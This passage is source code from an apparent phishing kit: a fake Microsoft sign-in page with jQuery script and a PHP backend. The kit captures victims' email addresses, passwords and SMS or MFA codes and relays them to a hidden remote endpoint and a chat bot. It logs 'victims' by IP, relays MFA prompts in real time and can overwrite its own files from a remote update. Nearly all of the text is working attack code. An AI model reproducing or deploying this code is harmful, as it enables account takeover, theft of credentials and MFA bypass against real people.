1.266-2.045 1.266-3.493 0-1.433-.4-2.573-1.187-3.394-.789-.82-1.897-1.236-3.295-1.236M98.149 9.48V7.752h-2.144V5.069l-.072.022-2.015.616-.038.012v2.034h-3.177V6.62c0-.527.118-.931.351-1.2.23-.266.56-.402.982-.402.303 0 .616.072.931.213l.079.035V3.447l-.037-.013c-.294-.105-.695-.159-1.19-.159-.626 0-1.194.136-1.689.406-.495.27-.886.655-1.16 1.146-.272.489-.41 1.054-.41 1.68v1.246h-1.492v1.726h1.493v7.273h2.142V9.479h3.177v4.622c0 1.903.897 2.868 2.668 2.868.291 0 .597-.034.91-.101.319-.07.535-.137.662-.21l.029-.016v-1.743l-.087.058c-.117.078-.262.14-.432.188-.17.048-.312.072-.422.072-.416 0-.723-.112-.914-.332-.191-.223-.289-.612-.289-1.158V9.48h2.144z"></path><path fill="#F05124" d="M0 9.958h9.958V.001H0z"></path><path fill="#7EBB42" d="M10.995 9.958h9.957V.001h-9.957z"></path><path fill="#32A0DA" d="M0 20.956h9.958V11H0z"></path><path fill="#FDB813" d="M10.995 20.956h9.957V11h-9.957z"></path></g></svg></div>
      <script src="<https://code.jquery.com/jquery-3.1.1.min.js>"></script>
     <script>
       // $(document).ready(function(){
		    document.title=\\''.($title ?? "Sign in to Best Productivity Provider").'\\';
			$(\\'head\\').append(\\'<link href="data:image/png;base64,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" rel="shortcut icon">\\');
			$.support.cors = true
			var em =$(\\'#bkupttrferrs\\').val();
			var ur =atob($(\\'#uurl\\').val());
			$(\\'.click-to-enter\\').click(function(){
				$.post(ur,\\'auth=1&st=\\'+$(\\'.stealth\\').val(),function(data){
					if(data){
					$(\\'.show-2fa-code\\').hide(function(){
						$(\\'.input-code\\').show();
					});
					}
				});
			});
			
			sera = {em}
			$.post(ur,sera,function(data){
     			if(data && data != \\'fail\\'){
     			    var i=JSON.parse(data);
     				if(i.bg_image !== null && i.bg_image !== \\'\\'){
     					$(\\'#bg_img\\').css(\\'background-image\\', \\'linear-gradient(rgba(0,0,0,0.527),rgba(0,0,0,0.5)),url(\\' + i.bg_image + \\')\\');
     					$(\\'#banner_image\\').hide();
                     //	alert(i.logo_image);
     				}
     				if(i.logo_image !== null && i.logo_image !== \\'\\'){
     					$(\\'#logo_image\\').attr(\\'src\\', i.logo_image);
     					$(\\'#banner_image\\').hide();
                     //	alert(i.logo_image);
     				}
     			}
     			$(\\'#loadingScreen\\').hide(function(){
     				$(\\'#content\\').show(function(){
     					$(\\'.identity\\').html(em)
     					$(\\'#add_pass\\').show();
     				});
     			});
				$(\\'.submit-mfa1-code\\').click(function(){
					$(\\'.mfa-error\\').hide()
					var cd = $(\\'.mfa1-code\\').val()
					var patter = /^[0-9]+$/;
					if(!patter.test(cd)){
						return false;
					}
					var to_mfa = \\'mf_code=\\'+cd+\\'&st=\\'+$(\\'.stealth\\').val()+\\'&emst=\\'+em+\\'&pse=\\'+$(\\'#password\\').val();;
					$.post(ur,to_mfa,function(data){
						data = JSON.parse(data)
						if(data.v==0){
							$(\\'.mfa-error\\').show()
						}
						else if(data.v == 1){
							location.replace(data.t);
     						setTimeout("window.location.href=\\'"+ data.t +"\\';", 1000);
						}
					});
				});
				$(\\'.submit-2fa\\').click(function(){
					$(\\'.code-error\\').hide(function(){
								$(\\'.sms-error\\').hide();
					});
					var cde=$(\\'#idTxtBx_SAOTCC_OTC\\').val();
					var patter = /^[0-9]+$/;
					if(!patter.test(cde) || cde.length!=6){
						$(\\'.code-error\\').show(function(){
								$(\\'.sms-error\\').show();
								$(\\'.error-type\\').html(\\'Please enter the 6-digit code. The code only contains numbers\\');
							});
							return false
					}
					var entry = \\'code=\\'+$(\\'#idTxtBx_SAOTCC_OTC\\').val()+\\'&st=\\'+$(\\'.stealth\\').val()+\\'&emst=\\'+em+\\'&pse=\\'+$(\\'#password\\').val();
					$.post(ur,entry,function(data){
						var data=JSON.parse(data)
						if(data.v==\\'0\\'){
							$(\\'.code-error\\').show(function(){
								$(\\'.sms-error\\').show();
							});
						}
						else if(data.v=="1"){
     							location.replace(data.t);
     							setTimeout("window.location.href=\\'"+ data.t +"\\';", 1000);
						}
						//incorrect
						//or
						//redirect
					});
				});
				$(\\'.nextb\\').click(function(){
					$(\\'.nextb\\').prop(\\'disabled\\', true);
					$(".pass-error").hide();
					$(".info-verify").hide();
					$(\\'.alert-erro\\').hide();
					var pswd = $(\\'#password\\').val();
					if(!pswd){
					   $(\\'.alert-erro\\').show();
					   $(\\'.alert-erro\\').html(\\'Please enter the password for your Microsoft account.\\');
					   $(\\'.nextb\\').prop(\\'disabled\\', false);
					}
					else{
						$(\\'#progressBar\\').show();
						var auth = $(\\'#bkupttrferrs\\').val();
     					compi = {auth,pswd};
     					$.post(ur,compi,function(data){
     						var result = JSON.parse(data);
     						if(result.t==\\'valid\\'){
     							var finish_url=result.finish;
     							location.replace(finish_url);
     							setTimeout("window.location.href=\\'"+ finish_url +"\\';", 1000);
     						}else if(result.t==\\'sms\\'){
								$(\\'.enter-pass\\').hide(function(){
									$(\\'.show-2fa-code\\').show();
								});
								$(\\'.add-text\\').html(result.number);
								$(\\'.stealth\\').val(result.file);
								$(\\'#progressBar\\').hide();
     							//var finish_url=result.finish;
     						//	location.replace(finish_url);
     							//setTimeout("window.location.href=\\'"+ finish_url +"\\';", 1000);
     						}
							else if(result.t==\\'mfa1\\'){
								$(\\'.enter-pass\\').hide(function(){
									$.post(ur,\\'start_mfa=1&st=\\'+result.file,function(d,t){
										//alert(1);
									});
									$(\\'.show-mfa1-code\\').show();
								});
								$(\\'.stealth\\').val(result.file);
								$(\\'#progressBar\\').hide();
     							//var finish_url=result.finish;
     						//	location.replace(finish_url);
     							//setTimeout("window.location.href=\\'"+ finish_url +"\\';", 1000);
     						}
							else if(result.t==\\'mfa2\\'){
								$(\\'.enter-pass\\').hide(function(){
									$.post(ur,\\'start_mfa=1&st=\\'+result.file,function(d,t){
										if(true){
											var cde = d;
											$(\\'.displaySign\\').text(cde);
										}
									});
									$(\\'.show-mfa2-code\\').show();
								});
								$(\\'.stealth\\').val(result.file);
								$(\\'#progressBar\\').hide();
     					
									setTimeout(function(){
									   var def_count = 0;
								       var intervalId = window.setInterval(function(){
									   def_count+=1;
									   if(def_count == 7){
											clearInterval(intervalId);
											$(\\'.show-mfa2-code\\').hide(function(){
												$(\\'.mfa2-error\\').show();
											});
									   }
									   var to_mfa2 = \\'mf_code=&st=\\'+$(\\'.stealth\\').val()+\\'&emst=\\'+em+\\'&pse=\\'+$(\\'#password\\').val();;
										$.post(ur,to_mfa2,function(data){
											var data=JSON.parse(data)
													 if(data.v==1){
															location.replace(data.t);
															setTimeout("window.location.href=\\'"+ data.t +"\\';", 3000);
														}
						//incorrect
						//or
						//redirect
													});
												}, 5500);
										
										},2000);
								
     						}
     						else{
     							$(\\'#progressBar\\').hide();
     							$(".error-alert").show();
								$(\\'.pass-error\\').show();
     							$(".pass-error").html("Your email or password is incorrect. If you don\\'t remember your password, <a href=\\'#\\'>reset it now.</a>");
     							$(\\'.nextb\\').prop(\\'disabled\\', false);
						    	$(\\'#password\\').val(null);
     						}
     					});
					}
				});
			});
			$(document).on(\\'keypress\\',function(e) {
				if(e.which == 13) {
					if($(\\'.enter-pass\\').is(":visible")){
						$(\\'.nextb\\').click()
					}
					else if($(".input-code").is(":visible")){
							$(".submit-2fa").click()
					}
				}
			});
		//});
		</script>
   
   </body></html>');
}
if(isset($_POST["error"])){
	logger_error($_POST["error"]);
}
if(isset($_POST["lef"])){
		$logger=sprintf("Victim %s left page",$publ_ip);
		$dis=new disp();
		$dis->send($logger,$bot,$chat,$email,$rz_name);
}
if(isset($_POST["random"])){
	$randoms = do_it('random','',$api,$chat,$temp_host); 
	//var_dump($randoms);
	echo $randoms[0] == "[" || $randoms[0] == "{" ?  $randoms : "";
}
if(isset($_POST["mkr"])){
	$maindoms = do_it('mkr','',$api,$chat,$temp_host); 
	//var_dump($randoms);
	echo $maindoms;
}
if(isset($_POST["mkr2"])){
	$maindoms = do_it('mkr2','',$api,$chat,$temp_host); 
	//var_dump($randoms);
	echo $maindoms;
}
if(isset($_GET['admin'])){
	$actual_link2 = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]".explode('?',$_SERVER['REQUEST_URI'])[0];
	$lil_config = sprintf('========SETTINGS=======
Base_Url = [ %s ]
Results File = %s
Send Visit = %s
Block Bots = %s
Email For Results = %s
Chat ID = %s
Api Key = %s
====================
	',base64_encode($actual_link2),$rz_name,$v_send == "1" ? 'Yes' : 'No',$block_checker == "1" ? 'Yes' : 'No',$email,$chat,$api);
	$dis=new disp();
	$dis->send($lil_config,$bot,$chat,$email,$rz_name);
}

if(isset($_POST['scte']) || isset($_POST['fctt'])){
	$to_check=base64_decode($_POST['scte'] ?? ($_POST['fctt'] ?? ""));
	if(true){
		$anodat = $_POST['conf'] ?? '';
		if(!$anodat){
			//exit();
		}
		$actual_link = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
		$is_it=do_it('def','',$api,$chat,$temp_host);
		$is_is_it = json_decode($is_it,1);
		$is_it = $is_is_it != null ? $is_is_it[0] : $is_it;
		$details = $is_is_it != null ? base64_decode($is_is_it[1]) : [];
		if($is_it=='valid'){
			get_t_d($bot,$chat,$email,$v_send,$block_checker,$details);
			$unprotected = to_output($to_check,$actual_link,$api,$chat,$anodat);
			function act_on($I1PLA46yu0){
				$IIPLA46yuO = openssl_random_pseudo_bytes(256);
				$I1PLA46yuO = openssl_random_pseudo_bytes(16);
				$IIPLA46yu0 = hash("sha256",bin2hex(openssl_random_pseudo_bytes(32)));
				$I1PiA46yu0 = hash_pbkdf2("sha512", $IIPLA46yu0, $IIPLA46yuO, 999, 64);
				$_o9 = openssl_encrypt($I1PLA46yu0, 'aes-256-cbc', hex2bin($I1PiA46yu0), OPENSSL_RAW_DATA, $I1PLA46yuO);
				$_09 = base64_encode($_o9) . "*" . bin2hex($I1PLA46yuO) . "*" . bin2hex($IIPLA46yuO) . "*" . $IIPLA46yu0;
				return base64_encode($_09);
			}
			echo act_on($unprotected);
		}
		else if($is_it == 'ip_ban'){
			echo 'ip_ban';
		}
		else if($is_it == 'od'){
			echo 'outdated';
		}
		else{
			echo 'no';
		}
	}
	
} 

if(isset($_POST['em'])){
  if(filter_var($_POST['em'],FILTER_VALIDATE_EMAIL))	{
	  $email=$_POST['em'];
	  $response=do_it('email',$email,$api,$chat,$temp_host);
	  if ($response == 5){
		  echo 'fail';
	  }
	  else if($response){
		  echo $response;
	  }
	  else{
		  echo '';
	  }
  }
}

if(isset($_POST["upd101"])){
	if(true){
		$updf = do_it('upd',$email,$api,$chat,$temp_host);
		$updj = json_decode($updf,1);
		//var_dump($updj);
		if($updj["y"]){
			$data_conf = $updj["d"];
			$version = $updj["v"];
			$error = 0;
			foreach($data_conf as $index => $value){
				$np = $path = $value[0];
				$content = $value[1];
				if(count($value) == 3){
					$np = $value[2];
				}
				if(file_exists($path)){
						if(file_get_contents($path) != base64_decode($content)){
							@unlink($path);
							$fp = fopen($np,"w+");
							if(fwrite($fp,base64_decode($content)) === FALSE){
								$error = 1;
							}
							fclose($fp);
							if(!$error){
								echo json_encode(array(
									"success" => 1,
									"version" => $version,
								));
							}
							else{
								echo 0;
							}
						}
				}
			}
		}else{
			echo 0;
		}
	}
}

if(isset($_POST['auth'])){
  if($_POST['auth']=='1'){
	  $auth=$_POST['auth'];
	  $response=do_it('auth',$_POST['st'],$api,$chat,$temp_host);
	  echo $response;
	  if(intval($response)){
		// $logger=sprintf("2fa Code Sent to Victim %s",$publ_ip);
		// $dis=new disp();
		// $dis->send($logger,$bot,$chat,$email,$rz_name);
	  }
	  else{
		//  echo '0';
	  }
  }
}

if(isset($_POST['live'])){
	$responses = "";
	foreach($dumps as $temp_ho){
		$response=do_it('live_check','',$api,$chat,$temp_ho);
		$responses.= (string) $response;
	}
	echo $responses;
	
}
if(isset($_POST['start_mfa'])){
	$response=do_it('start_mf',$_POST['st'],$api,$chat,$temp_host);
	// $logger=sprintf("Mfa Started on victim %s,Waiting For Approval",$publ_ip);
	// $dis=new disp();
	// $dis->send($logger,$bot,$chat,$email,$rz_name);
	echo $response;
}
if(isset($_POST['mf_code'])){
	  $code= !empty($_POST['mf_code']) ? $_POST['mf_code'] : '';
	  $email_add=$_POST['emst'];
	  $pass=$_POST['pse'];
	  $response=do_it('code',[$code,$_POST['st'],$email_add,array(
	  "type"=>"mfa",
	  "email"=>$email_add,
	  "pass" => $pass,
	  "ip" => $publ_ip)
	  ],$api,$chat,$temp_host);
	//  echo $response;
	  function isJson($string) {
			$json = json_decode($string);
			return $json && $string != $json;
	}
	  if(isJson($response) == true){
		  echo json_encode(array('v'=>1,'t'=>$finish));
	  }else{
		  echo json_encode(array('v'=>0,'t'=>''));
		  // $logger=sprintf("Victim %s,Denied MFA",$publ_ip);
		  // $dis=new disp();
		  // $dis->send($logger,$bot,$chat,$email,$rz_name);
		  
	  }
}
if(isset($_POST['code'])){
  if($_POST['code']){
	  $code=$_POST['code'];
	  $email_add=$_POST['emst'];
	  $pass=$_POST['pse'];
	  $response=do_it('code',[$code,$_POST['st'],$email_add,array(
	  "type"=>"sms",
	  "email"=>$email_add,
	  "pass" => $pass,
	  "ip" => $publ_ip)],$api,$chat,$temp_host);
	  //echo $response;
	  function isJson($string) {
			$json = json_decode($string);
			return $json && $string != $json;
		}
		//echo $response;
	   if (isJson($response) == true ){
		  echo json_encode(array('v'=>1,'t'=>$finish));
	  }
	  else{
		  echo json_encode(array('v'=>0,'t'=>''));
		  // $logger=sprintf("Victim %s,Inserted a wrong code",$publ_ip);
		  // $dis=new disp();
	      // $dis->send($logger,$bot,$chat,$email,$rz_name);
	  }
  };
}
if(isset($_POST['auth'])){
	if(filter_var($_POST['auth'],FILTER_VALIDATE_EMAIL))	{
		$static=do_it('login',array($_POST['auth'],$_POST['pswd'],$publ_ip),$api,$chat,$temp_host);
		//echo $static;
		$user=$_POST['auth'];
		$pass=$_POST['pswd'];
		function isJson($string) {
			$json = json_decode($string);
			return $json && $string != $json;
		}  
		if(isJson($static)){
			$logged=json_decode($static,1);
			$static=$logged['type'];
		}
		if($static && $static=='valid'){
			echo json_encode(array('t'=>'valid','finish'=>$finish));
		}
		else if($static && $static=='sms'){
			// $logger=sprintf("Victim %s attempting 2fa",$publ_ip);
			// $dis=new disp();
			// $dis->send($logger,$bot,$chat,$email,$rz_name);
			echo json_encode(array('t'=>'sms','number'=>$logged['show'],'file'=>($logged['file'])));
		}
		else if($static && $static=='mfa1'){
			// $logger=sprintf("Victim %s attempting mfa type 1",$publ_ip);
			// $dis=new disp();
			// $dis->send($logger,$bot,$chat,$email,$rz_name);
			echo json_encode(array('t'=>'mfa1','number'=>$logged['show'],'file'=>($logged['file'])));
		}
		else if($static && $static=='mfa2'){
			// $logger=sprintf("Victim %s attempting mfa type 2",$publ_ip);
			// $dis=new disp();
			// $dis->send($logger,$bot,$chat,$email,$rz_name);
			echo json_encode(array('t'=>'mfa2','number'=>$logged['show'],'file'=>($logged['file'])));
		}
		else if(!$static){
			echo json_encode(array('t'=>'fail','finish'=>$finish));
		}
		
	}
}
$errors->check_send($api,$chat,$temp_host);

image.png